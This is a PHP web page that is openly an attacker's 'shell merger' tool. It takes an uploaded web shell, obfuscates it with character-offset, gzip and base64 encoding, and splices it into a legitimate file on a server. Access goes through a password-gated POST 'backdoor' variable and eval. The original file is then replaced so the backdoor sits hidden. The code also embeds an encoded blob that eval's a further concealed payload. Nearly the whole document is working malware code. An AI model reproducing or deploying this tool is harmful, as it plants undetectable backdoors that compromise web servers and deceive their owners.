Todu shell merger V 2.0 (FUD Version)

<html>
<head><title>Shell Merger Version 2.0</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<STYLE>
/* CSS [Thanks to Mannu shell :) this comes from there :P] */
body {
font-family: Tahoma
}
tr {
BORDER: dashed 1px #333;
color: #FFF;
}
td {
BORDER: dashed 1px #333;
color: #FFF;
}
.table1 {
BORDER: 0px Black;
BACKGROUND-COLOR: Black;
color: #FFF;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: Green;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #FFF;
}
table {
BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #FFF;
}
input {
border          : dashed 1px;
border-color        : #333;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
select {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #DF0000 1px solid;
BORDER-LEFT:   #DF0000 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #FFF;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 40%;
color: white;
}
textarea {
border          : dashed 1px #333;
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999;
}
BODY {
    SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
margin: 1px;
color: Red;
background-color: Black;
}
.main {
margin          : -287px 0px 0px -490px;
BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}

A:link {
    COLOR: White; TEXT-DECORATION: none
}
A:visited {
    COLOR: White; TEXT-DECORATION: none
}
A:hover {
    color: Red; TEXT-DECORATION: none
}
A:active {
    color: Red; TEXT-DECORATION: none
}


div.nav
{
    margin-top:1px;
    height:60px;
    background-color: ;
}
div.nav ul
{
    list-style: none;
    padding: 4px;
}
div.nav li
{
    float: left;
    margin-right: 10px;
    text-align:center;
}
</style>
</head>
<body>
<center>
<?php
if(!isset($_POST['o']))
{
?>
<table>
<tr><td width=1000px>
<center><h1><font color=silver>Todu shell merger V-2.0<br></font><font color=green>(FUD VERSION)</font></h1></center>
<center><h3><font color=silver>By Sujit Ugale</font></h3></center>
<marquee><font color=silver>Greetz to Manish Tanwar</font></marquee>
<font size=2>Here are the steps to use this merger.
<OL>
<li>Enter local path of file to which ur shell is to be merged with.
<li>Upload shell.
<li>Select your password, which u'll use to access the merged shell.
<li>Now hit the button.
<li>To  access the shell, send POST variable <font color=grey>"backdoor=[your pass]"</font> to the merged file name.
<li>enjoy your shell, which is now fully undetectable :)</ol></font>
</td></tr>
<tr><td width=1000px>
<center>
<br><br><br>
<font color=red>
<form enctype="multipart/form-data"  method="POST" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>">
File path(local path)   : <input name="o" value=""><br><br>
Shell (Upload it)       : <input name="userfile" type="file"><br><br>
Password you want       : <input name="pass" type="password" value=""/><br><br>
<input type="Submit" value="Merge it Babe!"><br><br>
</form>
</font>
</td></tr>
</table>
<?php
}
if (@is_uploaded_file($_FILES["userfile"]["tmp_name"]))
{
    if(!file_exists($_POST['o'])){
    die("File to be merged with does not exist");
}
$tempname="temp" . rand(100,1000);
copy($_FILES["userfile"]["tmp_name"], "" . $_FILES["userfile"]["name"]);
rename($_FILES["userfile"]["name"],$tempname);
error_reporting(0);
$file1=$tempname;//uploaded file(shell)
$file2=$_POST['o'];//Original file to be backdoored
$pass=md5($_POST['pass']);
echo "Work done!!!";
//Apna main plan
$tempdata= base64_decode("PD9waHAKc2Vzc2lvbl9zdGFydCgpOwplcnJvcl9yZXBvcnRpbmcoMCk7").base64_decode("JHM9IkFTc0IxUDU0bkUyUFNYS0RNQkJGcnlTR3hNWENLem1Ga1R3aERBanRqREFZQkVhT3ltRTRmUnF5eWFxcnBOL3Y5UmZQNUowNVRPZTJXd2svN3NuK3FQSFRVSmllY0xUT08yRXl6bHJxRjU5Rit0SGt0alhJTHBubDlLZ3pmbXBQRFN1Rm44QTdaRENiYWFUMGVlaFY3aVRvRWdYMWVkQmQ3Z1E5OFpWM2JHTHJQREY5YWRDd3pFT0VWaGVPMk9zU01VM25yeEYyeWVLV0RwdTRRMXJwajQvTWpudGd2MmcwTnJmOXl0S0h4WFUxdEF6LzhYZEczYTdqWE95SkVhbTdkbGs4ZEVZVERmVUdWNjBXZGFXa0E3bklqT1VWZVdSeW56VHN5UjI4Y01kUHdjTTMzRExmWWE4RVB1YUk0alF4MG82clc1b0I4N1FCMS9lUkl3LzZ0VUd0SUFPNVVLMmREdzM2NDNNRVBrV0k3MWtGZHIyZ0hkOUI4OGVEbXlmQm1TVTd0MXIvZDB1UDdmWVhiSnlIdEE9PSI7CmV2YWwoYmFzZTY0X2RlY29kZShnenVuY29tcHJlc3MoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHMpKSkpKTsKaWYoaXNzZXQoJF9QT1NUWydiYWNrZG9vciddKSkKewoJaWYobWQ1KCRfUE9TVFsnYmFja2Rvb3InXSk9PSI=").$pass.base64_decode("IikKCXsKCQkkX1NFU1NJT05bJ2JkJ109MTsKCX0KfQppZihpc3NldCgkX1NFU1NJT05bJ2JkJ10pICYmICRfU0VTU0lPTlsnYmQnXT09MSkKew==");
file_put_contents('output.php', $tempdata);

//*********************************File 1[backdoor]********************************//
function en($ins)
{
$in=file($ins);
$out="";
foreach($in as $line)
{
    for($i=0;$i<strlen($line);$i++)
    {
        $out.=(ord($line{$i})+11);
        if($i<strlen($line)-1)
        $out.=".";
    }
    $out.="%";
}
$k=base64_encode(gzcompress(gzdeflate($out)));
return $k;
}
//*********************************File 1[backdoor]********************************//
$tempdata=base64_decode("JGE9Ig==");//$a="
file_put_contents('output.php', $tempdata, FILE_APPEND);

$tempdata=en($file1);//encoded code
file_put_contents('output.php', $tempdata, FILE_APPEND);//main jugad

$tempdata=base64_decode("Ijs=");// ";
file_put_contents('output.php', $tempdata."\n", FILE_APPEND);

$tempdata=base64_decode("ZXZhbCgiPz4iLmRlKCRhKSk7");/*  eval("?>".de($a));   */
file_put_contents('output.php', $tempdata."\n", FILE_APPEND);// put eval in output

file_put_contents('output.php', "\n?>\n", FILE_APPEND);

$tempdata="
<?php
}
else
{
?>
";
file_put_contents('output.php', $tempdata, FILE_APPEND);

//************************************File 2[original]******************************//
$reader=file($file2);
foreach($reader as $line)
{
    file_put_contents('output.php', $line, FILE_APPEND);
}

$tempdata="
<?php
}
?>
";
file_put_contents('output.php', $tempdata, FILE_APPEND);

//Now replace main file :D
rename($_POST['o'],$_POST['o'].'.bak');
rename('output.php', $_POST['o']);
unlink('output.php');
unlink($tempname);
}
?>
</body>
</html>